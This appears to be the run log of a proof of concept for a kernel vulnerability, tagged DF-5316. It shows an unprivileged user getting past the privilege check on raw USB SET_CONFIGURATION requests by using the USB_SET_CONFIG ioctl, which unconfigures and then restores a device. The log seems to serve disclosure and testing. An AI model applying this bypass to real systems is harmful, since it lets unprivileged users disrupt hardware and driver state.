DF-5316 / run.log
# DF-5316 baseline, UNPATCHED kernel (fresh boot #2), unprivileged maxx
# (uid 1001, NOT in operator; /dev/usb/0.2.0 chmod 0666 by the rig):
$ ./df5316
[*] running as uid=1001 euid=1001
[before] curr_config_index = 0
[before] /dev/usb/0.2.1 (interrupt-IN endpoint node): present
[1] USB_REQUEST(SET_CONFIGURATION) = -1 errno=Operation not permitted
(expected EPERM: SYSCAP_NODRIVER gate)
[2] USB_SET_CONFIG(255=UNCONFIG) = 0 errno=0/no-error
(expected 0: no privilege check on this path)
[after unconfig] curr_config_index = 255 <-- device ACTUALLY
unconfigured by maxx
[after unconfig] /dev/usb/0.2.1 (interrupt-IN endpoint node): present
[3] USB_SET_ALTINTERFACE(0,0) = -1 errno=Input/output error
(device unconfigured at this point -> no interfaces; on a
configured device this path returns 0 unprivileged)
[4] USB_SET_CONFIG(0) restore = 0 errno=0/no-error
[after restore] curr_config_index = 0
RUN_RC=0
# => the SYSCAP_NODRIVER gate that ugen_check_request() enforces on the
# RAW UR_SET_CONFIG request ([1]: EPERM) is trivially bypassed with
# the USB_SET_CONFIG ioctl ([2]/[4]: full unconfigure + reconfigure,
# driver detach/re-attach cycle kicked off, by uid 1001).